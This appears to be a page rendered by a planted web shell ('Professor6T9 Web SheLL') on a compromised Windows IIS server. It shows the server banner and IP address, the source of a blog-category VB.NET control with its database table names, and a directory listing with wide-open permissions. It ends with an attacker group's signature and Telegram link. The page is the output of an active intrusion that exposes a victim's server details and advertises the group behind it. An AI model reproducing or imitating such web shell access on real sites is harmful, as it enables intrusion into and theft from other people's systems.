Professor6T9 Web SheLL

Windows NT WEB-23 10.0 build 17763 (Windows Server 2016) i586
Microsoft-IIS/10.0
103.118.16.173

SideBlogCategory.ascx.vb

Imports System.Web.UI.WebControls
Imports System.Data.SqlClient
Imports System.Data
Partial Class UserControl_SideBlogCategory
    Inherits System.Web.UI.UserControl
    Private _conn As SqlConnection
    Private dr As SqlDataReader
    Dim da As SqlDataAdapter
    Dim ds As New DataSet()
    Public conn As String
    Protected Sub Page_Load(sender As Object, e As EventArgs) Handles Me.Load
        conn = ConfigurationManager.ConnectionStrings("connectionString").ConnectionString
        _conn = New SqlConnection(conn)

If Not IsPostBack Then
            fillrptblogcat()
        End If
    End Sub

Public Sub fillrptblogcat()
        Try
            Security.openConn(_conn)
            da = New SqlDataAdapter("select c.PostCat_ID,c.PostCat_Name,c.PostCat_Seourl,COUNT( p.Post_PostCatid) As Count FROM dbo.tblPost as p INNER JOIN dbo.tblPostCategory as c ON p.Post_PostCatid = c.PostCat_ID where  p.Post_Status='Active' and c.PostCat_Launch='True' Group By c.PostCat_Name,c.PostCat_ID,c.PostCat_Seourl", _conn)
            da.Fill(ds)
            rptsideblogcat.DataSource = ds
            rptsideblogcat.DataBind()
            Security.closeConn(_conn)
        Catch ex As Exception
            ScriptManager.RegisterClientScriptBlock(Page, Me.GetType(), "call", "alert('Error While Displaying ')", True)
        End Try
    End Sub
End Class

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	0/0	0777	2016-10-20 05:09:11
..	dir	-	0/0	0777	2023-08-03 06:50:01
SideBlog.ascx	text/html	1.11 KB	0/0	0666	2016-12-15 04:39:30
SideBlog.ascx.vb	text/plain	1.16 KB	0/0	0666	2017-06-17 04:54:55
SideBlogCategory.ascx	text/html	1.09 KB	0/0	0666	2016-12-08 12:25:18
SideBlogCategory.ascx.vb	text/plain	1.37 KB	0/0	0666	2016-12-08 12:25:18
SideCategory.ascx	text/html	1.08 KB	0/0	0666	2017-06-15 11:36:34
SideCategory.ascx.vb	text/plain	1.36 KB	0/0	0666	2016-12-08 12:25:19

Team Anon Force

https://t.me/Professor6T9x